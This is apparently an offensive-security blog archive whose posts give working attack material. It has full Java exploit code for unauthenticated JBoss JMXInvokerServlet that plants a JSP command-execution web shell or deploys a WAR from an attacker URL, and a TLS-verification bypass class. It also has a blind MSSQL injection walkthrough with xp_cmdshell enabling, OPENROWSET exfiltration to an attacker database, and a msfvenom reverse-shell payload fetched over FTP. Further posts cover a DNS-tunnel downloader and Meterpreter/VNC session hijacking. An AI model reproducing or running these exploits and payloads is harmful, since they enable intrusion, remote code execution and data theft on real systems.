Thursday, March 20, 2014

Downloading Files Through Recursive DNS With Bash (Or PowerShell)

I often run into networks with extremely restricted outbound firewall rules. Usually outbound traffic is whitelisted to a small number of hosts. The scenario here is that you've somehow gained access to a machine on such a network and you need a way to transfer tools/data to this machine.


In these scenarios where you've got a really locked down environment, one of my go-to methods for getting data in and out is to tunnel it through recursive DNS queries. If the target machines nameserver (or any nameserver it can talk to on the network) will do recursive queries out to the Internet, you're in luck. I find this is almost always the case.


For those who may be unfamiliar with this technique the scenario looks something like this:


Target <---> Internal DNS Server <-----> Registrar Nameserver <------> Attackers Remote Machine


There are a number of existing tools to do this (dnscat, iodine...) Unfortunately all of the ones I could find to accomplish this require a binary to be loaded onto the target machine. The whole reason I need to tunnel things over DNS in the first place with this scenario is so I can load binaries onto the target!

So my goal was to do this with a client/server where the client script uses only tools native to the host OS. Ideally the client script should also be short incase it needed to be written out by hand (physical access) or through some blind command execution exploit. Using such a script, you could pull down other, more complex binaries (like iodine or dnscat, or privilege escalation tools).


The easiest way I thought of to do it was to have the server base64 encode a specified file, split it into chunks, and server those chunks up in TXT records. For example:

bm@mybox:~/Code/dnsftp$ sudo ./server.py -f ../nbtool/dnscat
DEBUG:root:[+] Bound to UDP port 53.
DEBUG:root:[+] Waiting for request...

bm@mybox:~/Code/dnsftp$ dig +short @localhost 0.dns.testdomain.com
"f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUBpAAAAAAABAAAAAAAAAAOCQAgAAAAAAAAAAAEAAOAAIAEAAJQAiAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgAAAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAA"

bm@mybox:~/Code/dnsftp$ dig +short @localhost 1.dns.testdomain.com
"AAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAGRRAQAAAAAAZFEBAAAAAAAAACAAAAAAAAEAAAAGAAAAaFEBAAAAAABoUWEAAAAAAGhRYQAAAAAA2AQAAAAAAAAIBQAAAAAAAAAAIAAAAAAAAgAAAAYAAACAUQEA"


So we have a server spitting out chunks of a base64 encoded binary in response to sequential TXT record requests. A simple client written in bash can automate the process of pulling and re-assembling the file:

#!/bin/bash
error=';; connection timed out; no servers could be reached'
i=0
echo ''> output.b64
while :
do
  RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`
  if [ "$RESP" = "$error" ];
  then
    echo "Timeout - done"
    break
  fi
  echo -ne $RESP >> output.b64
  echo $RESP
  i=$((i+1))
done
cat output.b64 | base64 -d > output

Notice in the above script we don't use "dig @localhost" anymore - the request goes through some DNS servers on the Internet and eventually makes it to our "server.py" file. For this to work correctly, you need to have your server that runs server.py setup to be authoritative for a subdomain. This can be configured with your registrar.


Sample Usage:

  • Configure your server where you will run server.py to be the authoritative nameserver for a  subdomain (e.g: dns.testdomain.com). Do this with the registrar where you've registered testdomain.com.
  • On the server, run sudo ./server.py -f someFile
  • On the client, run ./client.sh dns.testdomain.com
  • At this point you should see the client and server start puking base64 debugging output. The client will write the base64 to disk and then decode it when done.
To do:
  • This should be trivial to implement in powershell for Windows hosts as well. Would be very useful.

Code at

  • https://github.com/breenmachine/dnsftp

Friday, February 21, 2014

Hijacking A Particular User's GUI Sessions With Meterpreter/VNC

Just a quick post to document a cool technique applied on a recent penetration test, nothing new or fancy, just something I hadn't done or thought to try before that came out of necessity.

The situation: You have SYSTEM access to a server that a number of users are remotely logged into. You want to see what a particular user is up to on that box, or you just want to get a GUI but for some reason don't have access to RDP. In our case, the Meterpreter VNC payloads were not working as desired.

The solution: Pretty simple:

Download UltraVNC Single Click server: http://www.uvnc.com/downloads/single-click/82-single-click-downloads.html

This VNC server can be launched invisibly from the command line. Launch it on a local test VM first and configure as necessary. After the first launch, an UltraVNC.ini file will be created with your settings. Test locally then upload the settings file and executable to the target:

meterpreter> cd C:\\Temp
meterpreter> upload winvnc.exe .
meterpreter> upload UltraVNC.ini .

List processes on the target:

meterpreter> ps

Pick a PID being run by the target user in a program with a GUI. Browser processes are a good choice:

meterpreter> migrate <PID>

Now just run the VNC server:
meterpreter> execute -f winvnc.exe

Should now be able to connect to the target machine on the VNC server port, you'll be hijacking the target users graphical session. If you just want to see what they're up to, run VNC in view only mode. In our particular situation, this was extremely useful.



Wednesday, February 19, 2014

JBOSS JMXInvokerServlet Update

A few months ago I posted some exploit code that abuses unauthenticated access to the JBOSS JMXInvokerServlet (http://breenmachine.blogspot.com/2013/09/jboss-jmxinvokerservlet-exploit.html).

For review, JBOSS exposes by default an HTTP interface at http://<JBOSS>:8080/invoker/JMXInvokerServlet. This interface works with raw binary Java objects (serialized). It is the backend for another interface that is disabled by default. By sending it a specially crafted object, you can basically use this interface to invoke remote procedures that are part of JBOSS.

There were a few problems with my previous method for calling this interface:

  • A 'magic number' called the version hash is required. I didn't really know where it came from and didn't need to at the time of writing it.
  • The method used to exploit the JMXInvokerServlet wont work with JBOSS 5.x+. In these later versions of JBOSS, a bug (or security feature?) was introduced that does not allow deployment of remote objects. In the previous exploit, I relied on this feature to pull down a remote WAR file from the attacker's web server and deploy it.

What follows is a description and the code used to get past these issues.

Those who have attempted to use the code from the previous post on JBOSS 5.x+ would likely have encountered an error like:
  • java.io.IOException: No context factory for http://127.0.0.1/attacker.war at org.jboss.virtual.VFS.getVFS(VFS.java:196) at org.jboss.virtual.VFS.getRoot(VFS.java:212) at 
This is because in JBOSS 5.x, the "http" protocol is not recognized as valid for deployment by "VFS", the URL in this case must be a local path for it to work - bummer. After some research, it doesn't seem that the MainDeployer - a component of JBOSS that can be called to deploy objects - can be used in these later versions to deploy files hosted remotely. A different method must be used.

Enter the JBOSS "DeploymentFileRepository", another service that is remotely invocable through the JMXInvokerServlet. I was informed of this possibility of using this by Drone who is working on a new application server exploit tool "clusterd" (https://github.com/hatRiot/clusterd), I hope we can implement these results into this tool. The DeploymentFileRepository allows for the upload of JSP code to a fixed location on the server... sounds interesting.

In order to test this procedure, "twiddle" was used. Twiddle is a tool that comes with JBOSS and allows you to invoke remote procedures from the command line. The problem with using twiddle for our purposes is it goes "through the front door" so to speak. The following command will use the DeploymentFileRepository to create a JSP file on my test server at http://127.0.0.1/xxxyyy/xxxyyy.jsp. It specifies the DeploymentFileRepository as the target, invokes that objects "store" method, and the remainder are the parameters for the "store" method:
  • ./twiddle.sh -s localhost invoke "jboss.admin:service=DeploymentFileRepository" store xxxyyy.war xxxyyy .jsp ThisIsATest  True
This successfully deploys a file called xxxyyy.jsp to our JBOSS instance! Unfortunately as mentioned before, twiddle goes "through the front door", so it wont hit the open JMXInvokerServlet directly. To find out what's going on here, I ran WireShark and captured the network traffic passing over the loopback interface. One of the TCP streams contained the following (note the "MarshalledInvocation" in the center):


If you'll recall from last time, a "MarshalledInvocation" is the object type that the JMXInvokerServlet requires! 

I manually chopped the MarshalledInvocation out of the TCP dump, but have written a utility to do it automagically, incase anyone wants to use the same technique in the future to reverse engineer another deployer (something different than the MainDeployer or DeploymentFileRepository). The code follows, yes it's hacky and ugly:

---------------------------------
ReadMarshalledInvocation.java
*Parameter Strings to Modify: 
payloadSaveLocation->location to save the serialized MarshalledInvocation
tcpDumpLocation->file containing the TCP dump, I extract a stream from WireShark

import java.io.*;
import org.jboss.invocation.MarshalledInvocation;

public class ReadMarshalledInvocation {

public static MarshalledInvocation tryRead(InputStream stream) throws Exception{
MarshalledInvocation ret = null;
while(ret == null && stream.available() > 3){
try{
ObjectInput input = new ObjectInputStream (stream);
for (int i=0;i<34;i++){
input.readByte();
}
Object test = input.readObject();
if(test.getClass().toString().equals("class org.jboss.invocation.MarshalledInvocation")){
MarshalledInvocation inv = (MarshalledInvocation)test;
Object[] invArgs = inv.getArguments();
if(invArgs.length < 2 || invArgs[1] == null){
System.out.println("Got the wrong MarshalledInvocation, no arguments - trying to find another one");
}
else
{
System.out.println("Found a MarshalledInvocation with arguments!");
return inv;
}
}
else{
System.out.println(test.getClass().toString());
}
}
catch(Exception e){
stream.skip(-3);
}
}
return ret;
}
public static void main(String[] args) throws Exception {
//Paramters to change:
//payloadSaveLocation is where you want to dump the extracted MarshalledInvocation
//tcpDumpLocation is the file with the tcp dump
String payloadSaveLocation = "/home/me/Desktop/invocation.obj";
String tcpDumpLocation = "/home/me/Desktop/RawTCPStreamDumpWithInvokation.obj";
try{
InputStream file = new FileInputStream(tcpDumpLocation);
MarshalledInvocation mInv = tryRead(file);
file.close();
//Dump the invocation to disk
       FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
       ObjectOutputStream out = new ObjectOutputStream(fileOut);
       out.writeObject(mInv);
       out.close();
       fileOut.close();
       System.out.println("MarshalledInvokation saved in "+ payloadSaveLocation);
//Print out some basics about the loaded MarshalledInvokation
String objNameType = mInv.getObjectName().getClass().toString();
Integer objName = (Integer)mInv.getObjectName();
System.out.println(objNameType+":"+objName);
System.out.println(mInv.getMethodHash());
Object[] mInvArgs = mInv.getArguments();
for(int i=0;i<mInvArgs.length;i++){
if(mInvArgs[i] != null){
System.out.println(mInvArgs[i].getClass().toString());
if(!mInvArgs[i].getClass().isArray())
{
System.out.println("\t"+mInvArgs[i]);
}
else
{
Object[] argObj = (Object[])mInvArgs[i];
for(int j=0;j<argObj.length;j++){
System.out.println("\t"+argObj[j].getClass().toString());
System.out.println("\t\t"+argObj[j]);
}
}
}
}
}
catch (Exception e){
e.printStackTrace();
}
}
}
---------------------------------

So now we've got our hands on a MarshalledInvocation that is associated with the DeploymentFileRepository. Along with serializing and saving the MarshalledInvocation to disk, the code reads the object fields and prints the following, which we will analyze in a minute:

---------------------------------
class [Ljava.rmi.server.ObjID;
Got the wrong MarshalledInvocation, no arguments - trying to find another one
Got the wrong MarshalledInvocation, no arguments - trying to find another one
Found a MarshalledInvocation with arguments!
MarshalledInvokation saved in /home/me/Desktop/invocation.obj
class java.lang.Integer:-483630874
8688737015066284935
class javax.management.ObjectName
jboss.admin:service=DeploymentFileRepository
class java.lang.String
store
class [Ljava.lang.Object;
class java.lang.String
xxxyyy.war
class java.lang.String
xxxyyy
class java.lang.String
.jsp
class java.lang.String
<%!String message = "Hello, World. From JSP test page Tomcat is running.";%>
class java.lang.Boolean
true
class [Ljava.lang.String;
class java.lang.String
java.lang.String
class java.lang.String
java.lang.String
class java.lang.String
java.lang.String
class java.lang.String
java.lang.String
class java.lang.String
boolean
---------------------------------

The green highlighted section above is the "hash" referred to in the previous post. It is pulled out by calling the "getObjectName" method.

The orange highlighted section is is the array of paramters passed to the "store" method of the "DeploymentFileRepository".

This is everything we need to recreate the MarshalledInvokation dynamically in code and send it directly to the JMXInvokerServlet. Those who know anything about Java probably think I'm an idiot at this point, why did I reverse engineer the object from a TCP dump?! The Javadoc for DeploymentFileRepository, while a little vague on the parameter format has enough information to do all of this.... I did this initially and was totally stuck on why it wasn't working. It was because I used "java.lang.Boolean" as the object type for the final parameter when it should have been primitive "boolean". JBOSS blew up and provided no useful debugging info, so I had to go through all of the above BS to find my mistake :).

The exploit code is as follows - mostly the same as last time:

---------------------------------
JBOSSExploit.java
*Parameter Strings to Modify:
jmxUrl->URL for the JMXInvokerServlet
*Optional Parameter Strings: 
hash->Might have to change this for versions of JBOSS, find it by dumping the MarshalledInvocation
jspShell->JSP to upload. The one included is a simple shell that runs commands passed in the "cmd" URL parameter.
others-> Just various filenames and stuff, self explanatory.

import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;

import org.jboss.invocation.InvocationException;
import org.jboss.invocation.MarshalledValue;
import org.jboss.invocation.MarshalledInvocation;


public class JBOSSExploit {

public static void main(String[] args) throws Exception {
//Parameters you need to configure
int hash = -483630874;
//Required
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
//Optional
String shellFileName = "jspshell";
String shellFileExtension=".jsp";
String warFileName = "xxxyyy";
String warFileExtension = ".war";
String payloadSaveLocation = "testPayload.out";
String jspShell = "<%@ page import=\"java.util.*,java.io.*\"%><%if (request.getParameter(\"cmd\") != null) {out.println(\"Command: \" +request.getParameter(\"cmd\") + \"\");Process p =Runtime.getRuntime().exec(request.getParameter(\"cmd\"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%>";
MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
payload.setMethod(method);
Object myObj[] = new Object[4];
myObj[0] = new javax.management.ObjectName("jboss.admin:service=DeploymentFileRepository");
myObj[1] = new String("store");
myObj[2] = new Object[]{warFileName+warFileExtension,shellFileName,shellFileExtension,jspShell,true};
myObj[3] = new String[]{"java.lang.String","java.lang.String","java.lang.String","java.lang.String","boolean"};
payload.setArguments(myObj);
        FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(payload);
        out.close();
        fileOut.close();
        System.out.printf("Payload saved in "+ payloadSaveLocation);
        
        
/*InputStream file = new FileInputStream(payloadSaveLocation);
InputStream buffer = new BufferedInputStream(file);
ObjectInput input = new ObjectInputStream (buffer);
Object read = input.readObject();
input.close();
System.out.println(read.getClass().toString());
MarshalledInvocation payload = (MarshalledInvocation)read;*/
        String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";
        URL u = new URL(jmxUrl);
        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
        TrustModifier.relaxHostChecking(conn);
        conn.setDoOutput(true);
        conn.setRequestMethod( "POST" );
        conn.setRequestProperty( "Content-Type", type );
        conn.setRequestProperty( "Content-Length","10000" );
        OutputStream os = conn.getOutputStream();
        new ObjectOutputStream(os).writeObject(payload);
        
        ObjectInputStream in = new ObjectInputStream(conn.getInputStream());
        Object obj = in.readObject();
        if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){
        System.out.println("\nGot MarshalledValue response");
        MarshalledValue mv = (MarshalledValue)obj;
        Object mvContent = mv.get();
        if(mvContent != null)
        {
        System.out.println(mvContent.getClass().toString());
        if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){
        System.out.println("Invocation Exception Received");
        InvocationException ie = (InvocationException)mvContent;
        System.out.println(ie.getMessage());
        ie.printStackTrace();
        }
        }
        else
        {
        System.out.println("Success! Look for the deployed WAR at /"+warFileName+"/"+shellFileName+shellFileExtension);
        }
        }
        
}

}
---------------------------------
TrustModifier.java
**Supporting class for JBOSSExploit.java
import java.net.*;
import javax.net.ssl.*;
import java.security.*;
import java.security.cert.*;

public class TrustModifier {
   private static final TrustingHostnameVerifier 
      TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();
   private static SSLSocketFactory factory;

   /** Call this with any HttpURLConnection, and it will 
    modify the trust settings if it is an HTTPS connection. */
   public static void relaxHostChecking(HttpURLConnection conn) 
       throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {

      if (conn instanceof HttpsURLConnection) {
         HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;
         SSLSocketFactory factory = prepFactory(httpsConnection);
         httpsConnection.setSSLSocketFactory(factory);
         httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);
      }
   }

   static synchronized SSLSocketFactory 
            prepFactory(HttpsURLConnection httpsConnection) 
            throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {

      if (factory == null) {
         SSLContext ctx = SSLContext.getInstance("TLS");
         ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);
         factory = ctx.getSocketFactory();
      }
      return factory;
   }
   
   private static final class TrustingHostnameVerifier implements HostnameVerifier {
      public boolean verify(String hostname, SSLSession session) {
         return true;
      }
   }

   private static class AlwaysTrustManager implements X509TrustManager {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public X509Certificate[] getAcceptedIssuers() { return null; }      
   }
   
}

---------------------------------

For those who have made it this far, to Compile (make sure you have the JAR files, they come with JBOSS):
javac -cp .:jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

To Run:
java -cp .:jboss.jar:jbossall-client.jar JBOSSExploit

To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/xxxyyy/jspshell.jsp

Hopefully in the future we can get this exploit integrated into a toolkit like clusterd.
,

Wednesday, September 25, 2013

Blind SQLi -> SQLi -> Command Execution -> Meterpreter - Based On A True Story

This is going to be a long one. For a quick rundown, see the video of this process from start-finish at http://www.youtube.com/watch?v=XIZyxVzERXg <Ugh - Had to take the video down for censoring, nothing interesting, just some machinenames that I can't post. Tried editing with OpenShot and was too much work, anyone know an easier way?>

Blind SQLi on MSSQL is something I run into once in a while. In a recent test, I took the extra time to take it all the way to a Meterpreter shell manually and would like to document that process here. It involved one new trick I hadn't seen before, so here we go.

The SQL injection was on the UserName parameter, the following is an example of a sanitized POST request:


POST /login.aspx HTTP/1.1
Host: XXXXXXXXXX
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: XXXXXXXXXX
Cookie: ASP.NET_SessionId=YYYYYYYYYYYYY
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1337
UserName=test&Password=test&SUBMIT1=Sign+In

Step 1 - Find The Injection Point For Stacked Queries

First we're going to want to confirm the SQL injection and figure out where to inject our own stacked queries. Stacked queries are just multiple queries appended together separated by semi-colons. For example, suppose the backend code for the SQL statement for this function looked like this:

query = "SELECT * FROM Users WHERE userName = '"+uName+"' AND password ='"+password+"'";

In this case, we would set the UserName parameter to "test'--" which would result in the following query being constructed:

query = "SELECT * FROM Users WHERE userName = 'test'--AND password = 'testpassword'

Notice that the highlighted section is commented out. Sometimes things are a little more complicated, as was true in this example. Suppose the code creating the query looked like this:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = '"+uName+"' AND password ='"+password+"'") as tempTable;

In this case, we would need to set our UserName parameter to "test')--" so that we would get the following:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = 'test')--' AND password ='"+password+"'") as tempTable;


To find out if we've got it right, we need to create a stacked query that will have a noticeable result, a great way to do this is to introduce a delay. Consider setting UserName = "test'); WAITFOR DELAY '000:00:20';--". If everything was done right, we should see a 20s delay in the response and can move on to the next step! You may need to add more braces or quotes, try to imagine what the query may look like.

Step 2 - Gaining Sight

Blind SQL injection can be extremely frustrating to work with. The following technique was jacked from http://www.secforce.com/blog/2013/01/stacked-based-mssql-blind-injection-bypass-methodology/
and works very well in many cases.

It depends on the DB user having a certain set of privileges. They either need to be able to run the sp_configure command, or "Ad Hoc Distributed Queries". Issue the following 6 commands, in this order, to attempt to enable "Ad Hoc Distributed Queries" (and while we're at it, xp_cmbshell). You'll want to put these commands in the highlighted section of the UserName parameter as follows:

UserName = "test');<SQL TO INJECT>;--"

exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries', 1
reconfigure
exec sp_configure xp_cmdshell, 1
reconfigure

If all went well we should now be able to cause the remote victim database to dump query results back to a local instance of MSSQL that we (the attackers) are running.

Testing For Success

It's very important at this point to test whether the results of the sp_configure commands succeeded. I've developed a quick and easy technique for doing this that has worked great for me many times. It involves setting up DNSCat (http://www.skullsecurity.org/wiki/index.php/Dnscat) on a server. You need a domain and have to configure your machine running DNSCat to be the authoritative nameserver for some subdomain on it.

On your server run "./dnscat --listen"

Through the SQL Injection run the command:

exec xp_cmdshell 'ping test123.dns.yourdomain.com'

The HTTP parameter will look like UserName = "test');exec xp_cmdshell 'ping test123.dns.yourdomain.com'' ;--"

You should now see DNS lookups coming to the console in dnscat for 'test123'. This is a great way to test command execution since most organizations will allow recursive DNS lookups outbound, even when other filters are in place, and the ping/host commands are fairly universal.

At this point you have blind command execution and can skip straight to Step 5, or continue on with the following.

Configuring the Local DB

To do this, you'll need to install Microsoft SQL Server Express https://www.microsoft.com/en-us/sqlserver/editions/2012-editions/express.aspx

Once installed, you need to set up and configure the database to accept remote connections with SQL server authentication. This was a bit of a headache to get right for me, so I'll outline some of the key steps:

1) Install SQL server express

2) Set up a database by running the following commands in SQL server management studio
  • CREATE DATABASE output_db;
  • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
3) Configure the database listener to accept remote connections. This is done by right clicking on your DB listener in SQL server management studio, select "Properties". Under "Security" you must allow "SQL Server and Windows Authentication". Under "Connections" you must tick "Allow Remote Connections"

4) Create a database user. This is done by expanding the tree for your DB Listener in Management Studio and selecting "Security -> Logins", right click on Logins and add a new SQL user.

5) In the Start Menu, Under SQL Server, Configuration Tools, you must open the SQL Server Configuration Manager. Under "SQL Server Network Configuration", double click on "Protocols for SQL Express", then double click on "TCP/IP". Under "IP Addresses" tab, at the bottom there is an "IP ALL" section. Set the "TCP Port" value to "1433"

6) Disable Windows Firewall and set up any port forwarding you need on your router. You just need to forward 1433/tcp.

7) Restart the database through the management console.

8) Do a netstat -an, look for a listener on port 1433

Testing Locally

Chances are you messed something up by this point. I recommend testing your MSSQL and network configuration locally. Create an table called output with a single column of type "text". Open up a new query in SQL server management studio and try the following (replace highlighted parameters):

INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version

If successful this will insert your MSSQL Server version into the "output" table. Debug this until it works.

Exfiltrating Data

Now you're all set to exfiltrate data! Just inject the above command into the following again, replace <SQL TO INJECT> with INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version


Example:
UserName = "test');INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version;--"

If you get the remote DB version back in your local output table, you're in luck! You can now run any query!

Step 3 - Command Execution

This is the interesting part where I deviate a bit from what I've seen before. Above we enabled command execution with the sp_reconfigure command, now we would like to run a command and get it's output. Consider injecting the following into the <SQL TO INJECT> portion of our payload:

create table #output (output varchar(255) null);insert #output exec xp_cmdshell 'dir C:\'; INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) select * from #output where output is not null; drop table #output

This creates a temporary table called #output, sticks the results of our shell command (in this case 'dir') into it, then moves the contents of that table up to our local database server, and finally drops the temporary table! Full remote command execution!

Step 4 - Meterpreter

The fun doesn't really start until you've dropped your Meterpreter shell. There are a number of ways to do this. This time I chose an FTP script but have a few other interesting ideas as well.

The FTP method which is quite simple, is to just host your payload on an FTP server, then use command execution to download and execute it. I usually just run an anonymous vsftp server and then do the following in BackTrack:

Generate the payload:
./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=<YOUR IP> LPORT=4444 -f exe > /srv/ftp/payload.exe

Start your meterpreter handler:
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 E

Now we can use command execution to grab and execute the payload. Run the following commands on the victim machine:

Create an FTP script:
echo open 192.168.14.81> ftp.txt     
echo <USERNAME>>> ftp.txt
echo <PASSWORD>>> ftp.txt
echo bin>> ftp.txt
echo get payload.exe>> ftp.txt
echo bye>> ftp.txt

Execute the script, download the payload:
ftp -s:ftp.txt

Run the payload:
payload.exe

Step 5 - Advanced Payload Delivery

So it didn't work... You've confirmed that you have blind command execution (see Step 2 - Testing for Success), but you don't have a shell.The victim could be filtering egress traffic, A/V could be mucking things up, who knows. Luckily I have some other interesting evasion strategies that I'll get into some light detail on. For an example see the video referenced at the beginning of this post.

Use the BackTrack "exe2bat.exe" utility to convert a stealthy payload into a batch file. I use a payload that tunnels a cmd shell over DNS requests. I use a custom version of dnscat (http://www.skullsecurity.org/wiki/index.php/Dnscat) with some minor code changes to improve stability and hardcode the IP address.


Rather than a custom payload, you can also use a Meterpreter payload in VBScript format. This is my favorite method and the first thing I usually try. Luckily we have Metasploit Pro and the dynamic payloads generated by it are GREAT at A/V evasion. Metasploit has a script to convert an executable into a VBScript file, I think it's called exe2vbs.rb. Once you have a VBScript file, you need to actually get it on the remote machine. I just create a batch file to do this similar to what 'exe2bat' does. At the beginning of each line in the VBS add "echo '" and at the end of each line add "' > notAPayload.vbs". Also you'll probably want to edit the VBS file that Metasploit generates. I like to hardcode the location where it creates the executable so I know where it is and somewhere that I know should be world-writable. This is all very hand-wavy, - if you have questions about this feel free to email me, or watch the video.

Whether you use exe2bat or exe2vbs and turn it into a batch file, the next step is basically the same. You want to run the batch file on the remote machine to restore your payload to executable format. Just import the batch file into BURP Intruder, set the target field to our <SQL TO INJECT> section of the parameter, set BURP to run in single threaded mode (maybe setup a little delay for good measure), and let it rip! This should get your executable payload to the victim purely through command execution and relatively painlessly. From here you can just run it.

For examples of this whole process from start-finish, see the 10 minute, audio less video referenced up top.

Friday, September 20, 2013

JBOSS JMXInvokerServlet Exploit

Recently ran into a JMXInvokerServlet that didn't require authentication. These generally have a URL that looks something like:

http(s)://localhost:8080/invoker/JMXInvokerServlet

While there is a Metasploit module for this, it wasn't working for various reasons. Inspired by Matasano (http://www.matasano.com/research/OWASP3011_Luca.pdf), I wrote up some custom exploit code for this.

Make sure you modify the appropriate strings in JBOSSExploit.java:

//Parameters you need to configure
int hash = 647347722;
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
String attackerUrl = "http://externalhost.com/test.war";
String payloadSaveLocation = "testPayload.out";

hash -> This is specific to the version of JBOSS. It's the entry that identifies jboss.jmx:name=Invoker. For my version it was 647347722. Metasploit modules have a different number here and is one of the reasons it was failing (you'll get an exception back from JBOSS if this is wrong).

jmxURL -> Self explanatory

attackerURL -> Host a malicious WAR file here and watch your apache logs

payloadSaveLocation -> This is useful if you want to proxy through BURP or use the metasploit module to send the payload rather than this hacky Java code. The payload object will be saved to disk. You can then overwrite /usr/share/metasploit-framework/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin with the payload generated here. When you run the jmxinvoker metasploit module, it will use this new payload and you can see what's going on by proxying MSP through BURP.

To Compile (make sure you have the JAR files, they come with JBOSS):
javac -cp jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

To Run:
java -cp jboss.jar:jbossall-client.jar JBOSSExploit

To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/test/

And of course, the code:

JBOSSExploit.java:

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;

import org.jboss.invocation.InvocationException;
import org.jboss.invocation.MarshalledValue;
import org.jboss.invocation.MarshalledInvocation;


public class JBOSSExploit {

public static void main(String[] args) throws Exception {
//Parameters you need to configure
int hash = 647347722;
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
String attackerUrl = "http://localhost/test.war";
String payloadSaveLocation = "testPayload.out";

MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
payload.setMethod(method);

Object myObj[] = new Object[4];
myObj[0] = new javax.management.ObjectName("jboss.system:service=MainDeployer");
myObj[1] = new String("deploy");
myObj[2] = new String[]{attackerUrl};
myObj[3] = new String[]{"java.lang.String"};
payload.setArguments(myObj);
        FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(payload);
        out.close();
        fileOut.close();
        System.out.printf("Payload saved in "+ payloadSaveLocation);
     

        String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";
        URL u = new URL(jmxUrl);
        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
        TrustModifier.relaxHostChecking(conn);
        conn.setDoOutput(true);
        conn.setRequestMethod( "POST" );
        conn.setRequestProperty( "Content-Type", type );
        conn.setRequestProperty( "Content-Length","10000" );
        OutputStream os = conn.getOutputStream();
        new ObjectOutputStream(os).writeObject(payload);
     
        ObjectInputStream in = new ObjectInputStream(conn.getInputStream());
        Object obj = in.readObject();
        if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){
        System.out.println("\nGot MarshalledValue response");
        MarshalledValue mv = (MarshalledValue)obj;
        Object mvContent = mv.get();
        if(mvContent != null)
        {
        System.out.println(mvContent.getClass().toString());
        if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){
        System.out.println("Invocation Exception Received");
        InvocationException ie = (InvocationException)mvContent;
        System.out.println(ie.getMessage());
        ie.printStackTrace();
        }
        }
        else
        {
        System.out.println("Success! Look for the deployed WAR.");
        }
        }
     
   
     
}

}

TrustModifier.java


import java.net.*;
import javax.net.ssl.*;
import java.security.*;
import java.security.cert.*;

